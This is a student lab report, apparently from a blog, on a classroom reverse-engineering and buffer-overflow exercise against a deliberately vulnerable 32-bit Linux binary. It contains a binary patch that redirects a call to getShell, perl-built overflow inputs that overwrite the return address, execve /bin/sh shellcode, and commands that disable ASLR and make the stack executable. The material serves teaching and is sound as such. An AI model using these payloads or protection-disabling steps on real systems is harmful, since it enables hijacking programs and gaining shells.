网络对抗实验一 逆向及Bof基础实践

一、实验目的

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

二、准备工作

平台准备
Linux-Kali(最好是虚拟机)
一个准备好的实验文档(ExpCode)
一个聪明且……有耐心的人
知识储备
一点Linux指令(实在不想学也可以一点一点跟着敲啦,还有不会的可以找度娘O(∩_∩)O)
一点汇编语言知识
一点缓冲区溢出的原理知识

准备好了,我们来开始吧

三、实验操作

让我们边做边说

1 学会怎么反汇编

将实验用文件(本次试验名称为ExpCode1)放在/Home/Experiment1文件夹下,将用户名改为ZhaoWenhao。
这里需要用到Linux指令(-d 英文全称是disassembling,含义是反汇编):

~# objdump -d (这里敲入文件名)

敲击回车,Terminal会将该文件的所有汇编指令显示出来。

指令执行结束后的效果如下图所示,由于汇编指令通常会很长,这里考虑到篇幅有限,仅向读者呈现我们会使用到的三个函数:main、foo和getShell。

这里我们可以看到机器码16进制对应的汇编指令,和程序在运行时每条指令所在的内存地址。这里可以看到,main函数第4行(内存地址80484b5)跳转到了foo函数(内存地址8048491),和接下来的实验中用到的getShell函数的内存地址为804847d。机器指令e8即为跳转之意,后面的数值d7ffffff是补码,表示-41=0x29。经过计算,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

2 修改机器指令

对可执行文件进行修改,令其在main函数中第4条指令跳转到getShell函数,而不是foo函数。
只要我们修改可执行文件“d7ffffff”为,"getShell-80484ba"对应的补码就行,是c3ffffff。
对应操作为:
复制一份可执行文件,命名为ExpCode2,以便在实验出错的时候还原备份,对应Linux命令为:++cp ExpCode1 ExpCode2++
接下来打开其中一份文件进行修改,对应Linux命令为:++vi ExpCode1++

敲击回车后,效果如下:

我们发现这份文件中内容很乱,为了方便我们定位程序位置,我们最好使用十六进制查看文件内容,在这里我们可以按一下Esc键,在当前状态下允许用户输入命令。接下来我们可以输入命令将显示模式切换为16进制:++:%!xxd++。

逐行查找对于我们来说难度还太大,所以我们可以借助命令行来帮助我们查找:++/e8d7++

没有查到我们想要的字段,问题可能是因为这两个8bit十六进制数间被空格符隔开了。所以我们接下来可以查找:++/e8 d7++

终端上高亮显示的部分就表示了我们查找的字段所在位置,在它前后检查可以确认这就是我们想要修改的汇编命令字段,接下来我们只需要根据上一阶段的计算结果将d7改为c3,即可将程序改为跳转到另一个函数。修改时,将光标移到需要修改的16进制数上,敲击r键,再敲击想要修改的键,即可完成对该字符的修改。修改完毕后,需要转换16进制为原格式,命令为:++:%!xxd -r++,再存盘退出命令为:++:wq++。(如果不转换为原格式,会导致该文件不可执行,一定要记得改回原样并保存ヽ( ̄▽ ̄)ノ)

现在让我们对比一下,修改前的文件ExpCode2和修改后的文件ExpCode1。

没有修改过的程序执行后,会出现Shell提示符,敲入命令是可以执行的,无效指令会被提示出现错误。没有修改过的程序,是会重复显示我们输入的字符串(敲击回车结束),这就反映了程序调用函数的不同,也验证了我们以上的操作是成功的,有效更改了函数调用。为了证明这一点,我们同样反汇编修改过得可执行文件。

不难发现,程序中main函数第4个命令,所调用的函数变成了getShell。

3 通过构造函数,行程BOF攻击,改变程序执行流

再创建一个程序备份,以便在发生错误的时候恢复文件。这个阶段使用ExpCode2来进行操作。
同样先对可执行文件进行反汇编操作,我们的目标同样是要更改函数调用,触发getShell函数以达成我们的目标。

我们本次操作是针对foo函数,由于读入字符串的字符数量没有限制,系统也没有边界检测以防止缓冲区溢出,所以超出缓冲区的字符串就会影响程序的返回地址,如果超出的字符串是我们预先设计好的,那么被覆盖掉的返回地址就可以是我们指定的,不受原本程序控制的一个函数,最终造成程序返回出错。
缓冲区溢出攻击就是利用了系统不设置边界检测这一漏洞实现的,原本预留出的空间不够使用,则对这块区域的输入数据会一直向下保存下去,这样会覆盖掉原来有意义的指令,变成一些对我们没有意义的其它指令,但如果这些溢出的数据是我们精心设计好的,覆盖在一些非常关键的地方比如跳转到另外一个函数,程序就出现其他效果了,由入侵者掌握电脑的这个程序了。
让我们先来试试这个程序,确认输入多少字符串后会覆盖到程序的返回地址。我们先输入一个比较长的字符串,看看程序会不会执行出错。
这个时候需要用到调试功能:

在调试过程中,我们给这个程序输入了一个48B的字符串,程序如预想的情况那样出错了,在我们使用info r命令查看当前寄存器状态中,发现EIP寄存器(用于存放下一条指令的内存地址的寄存器)被0x35353535的字段覆盖掉了,这就表示了当前返回地址是四个‘5’。
再进行进一步尝试,将5替换成其它字段已确定是哪个位置的字符会覆盖EIP寄存器。

最终得到字符1234所处的位置会覆盖EIP寄存器,我们应该设计这四个字符以符合要求地改写程序(寄存器显示时是按照16进制从高位向低位显示,事实上我们的阅读和书写习惯则是从低位向高位,所以需要从右向左每两字为单位阅读)。接下来的操作会使这块区域变成我们需要的内容(\x7d\x84\x04\x08)。
查阅ASCII码表,要改写的字符串\x7d\x84\x04\x08里面有无法从键盘读入的字符,这时候需要借助Perl语言来代替我们生成这样符合要求的字符串:

~# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

重定向输出到input文件中,\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

不难发现,程序就像ExpCode1文件一样可以执行我们的命令,当然,如果不使用input文件输入,也可以使用这条代码,起到一样的作用:

~# (perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn1

4 注入Shellcode并执行

我们准备好了这样一段

Shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

考虑到我们的buf缓存区域足够,我们这次采用结构是:nops+shellcode+retaddr。我们猜测的返回地址只要落在任何一个nop上,就会自然运行到shellcode命令,不会在中途跳转到其它函数或命令上。
接下来我们输入一段命令:

~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

用与上文类似的方法构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址,这段会在后面改为shellcode的地址。最后一个字符不要设置成\x0a,否则会影响接下来的操作。
接下来确定\x4\x3\x2\x1这段到底该填什么,接着在终端中注入这样一段攻击buf:

~ (cat input_shellcode;cat) | ./ExpCode2

这条指令输入完毕后按一次回车就不要再进行操作了,否则进程会结束,接下来的追踪进程将无法进行。
这个时候我们打开另一个终端,用gdb调试:

输入一系列命令,通过系统报告可以看出,原终端上(小窗口)的进程号为2064,所以就追踪这个进程,在其中设置断点(0x080484ae)。
这个时候在原终端再按一下回车,回到大窗口,继续调试进程,看到命令被输入在了进程之中,查询ESP(存放栈顶地址的寄存器)寄存器并检视这一区域数据的内容。

我们发现\x4\x3\x2\x1果然出现在栈顶,再往后一点就是我们所需要的地址了!细心一点,数到第一个f7,得到内存地址为0xffea8230,这就是我们需要更改的地址了。
退出gdb编译,现在来修改输入时所用的字符串。

像上文一样启用这个文件,发现:段错误

看来仅仅这样还是不能达到目标……
再做一次?结果还是不行……
又试了几次结果发现每次的进程分配内存都会不一样,这需要我们关闭地址随机化:

~# execstack -s pwn1 //设置堆栈可执行
~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
~# more /proc/sys/kernel/randomize_va_space
2
~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
~# more /proc/sys/kernel/randomize_va_space
0

又试了几次(推荐大家别再试了,这个真的很累很烦躁 o(TωT)o )内存地址每次都是保持不变的,好了,重新开始!
经过与上文同样的内容,再次修改我们的输入,这样就成功了!

四、感想

做的时候跳坑了……很久都没有反应过来,不过这些都不要紧!
实验对于一个新手来说还是比较复杂的,不过这样的实验也的确是提升自我实力的最好的办法。
跟着老师上课讲的步骤一步一步做下来其实不是很难,但更关键的是要掌握实验原理,这样会比较好理解,也不需要死记硬背一些看似很头疼的指令,下面就说说我遇到的问题吧。
由于老师恩赐的Linux—Kali虚拟机是64位系统,所以一开始还不能运行实验准备的32位程序,因为修这个还搞炸了老师恩赐的虚拟机,所以后面又从官网上下载了一个很新很新的版本,如果有人也有同样的问题,点击这个链接哦~
还有就是在设置堆栈可执行的时候,Linux可能会报错:execstack找不到命令,这样只需要我们安装一下apt-get install execstack即可(这个东西度娘不肯告诉我,感谢机智的同学!)
总而言之,这次试验还是自己一点一点啃下来了,虽然中间去补学了很多Linux的东西,但是非常有成就感!
文章中如有不对还望批评指正~

网络对抗实验一 逆向及Bof基础实践的更多相关文章

  1. 20145302张薇 《网络对抗技术》逆向及BOF基础实践

    20145302张薇 <网络对抗技术>逆向及BOF基础实践 实验内容 实践对象:名为20145302的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单 ...

  2. 20145328 《网络对抗技术》逆向及Bof基础实践

    20145328 <网络对抗技术>逆向及Bof基础实践 实践内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ...

  3. 20145210姚思羽《网络对抗技术》逆向及Bof基础实践

    20145210姚思羽<网络对抗技术>逆向及Bof基础实践 实践目标 1.本次实践的对象是一个名为pwn1的linux可执行文件. 2.该程序正常执行流程是:main调用foo函数,foo ...

  4. 20145321《网络对抗技术》逆向与Bof基础

    20145321<网络对抗技术>逆向与Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何 ...

  5. 20145337《网络对抗技术》逆向及BOF基础

    20145337<网络对抗技术>逆向及BOF基础 实践目标 操作可执行文件pwn1,通过学习两种方法,使main函数直接执行getshall,越过foo函数. 实践内容 手工修改可执行文件 ...

  6. 20145314郑凯杰《网络对抗技术》实验1 逆向及Bof基础实践

    20145314郑凯杰<网络对抗技术>实验1 逆向及Bof基础实践 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数 ...

  7. 20155235 《网络攻防》 实验一 逆向及Bof基础实践说明

    20155235 <网络攻防> 实验一 逆向及Bof基础实践说明 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  8. 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践

    20145311<网络对抗技术>逆向及BOF进阶实践 学习目的 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈 ...

  9. 20145339顿珠达杰 《网络对抗技术》 逆向与Bof基础

    目的 通过一些方法,使能够运行本不该被运行的代码部分,或得到shell的使用: 将正常运行代码部分某处call后的目标地址,修改为另一部分我们希望执行.却本不应该执行的代码部分首地址(这需要我们有一定 ...

随机推荐

  1. java反射技术详解

    反射: 其实就是动态的从内存加载一个指定的类,并获取该类中的所有的内容. 反射的好处:大大的增强了程序的扩展性. 反射的基本步骤: 1. 获得Class对象,就是获取到指定的名称的字节码文件对象. 2 ...

  2. $\LaTeX$笔记:首字下沉

    $\LaTeX$系列根目录: Latex学习笔记-序 首字下沉 \IEEEPARstart{W}{ith} ,第一个参数W会变大,占用两行,第二个参数”ith”变会大写. 如代码 \IEEEPARst ...

  3. C#DateTimePicker控件问题

    DateTimPicker控件在遇到29这样特殊的日期,选择时可能会出现 解决方案:在属性中把Value值设置为除29日外的其他日期或者在代码中直接设置Value值:DateTimePicker1 = ...

  4. Xcode如何查看内存中的数据

    在  debug 模式下如何在断点处,查看字符指针变量内存中的值,像vs2008的调试工具一样的内存查看器,现在只能查看第一个内存中的值可以在输出窗口采用gdb命令:x /nfu <addr&g ...

  5. GL_Oracle Erp常用的报表(汇总)

    2014-06-27 BaoXinjian 1. 总账系统

  6. Mac开发利器之程序员编辑器MacVim学习总结

    Emacs和Vim都是程序员专用编辑器,Emacs被称为神的编辑器,Vim则是编辑器之神.至于两者到底哪个更好用,网络上两大派系至今还争论不休.不过,相比之下,Emacs更加复杂,已经不能算是一个编辑 ...

  7. iOS 通知中心 NSNotificationCenter

    iOS开发中,每个app都有一个通知中心,通知中心可以发送和接收通知. 在使用通知中心 NSNotificationCenter之前,先了解一下通知 NSNotification. NSNotific ...

  8. sbrk and coreleft

    一.sbrk 函数来源:TC2.0.Linux 函数名: sbrk 功 能: 增加程序可用数据段空间,增加大小由参数 incr决定 . 返回值:函数调用成功返回一指针,指向新的内存空间.函数调用失败则 ...

  9. cocos2dx移植android平台

    本人这几天一直都没有跟新自己的网站内容,问我干什么去了,当然是做这篇文章做的事了,说起这个移植来真是麻烦啊,网上试验了各种方法,都不知道谁对谁错啊.不过经过本人这三天的研究最后终于成功了,为了让大家少 ...

  10. js动画(三)

    咳咳咳咳,感冒了感冒了,鼻塞,蓝瘦啊!嘴巴也开裂,哎,心疼自己.想到这是第三只唇膏了!只怪,放荡不倔爱自由, 行驶在冷风路上么,北风那个吹啊吹啊吹啊,好了,发神经发完了,接下来进入正题,严肃脸.(字数 ...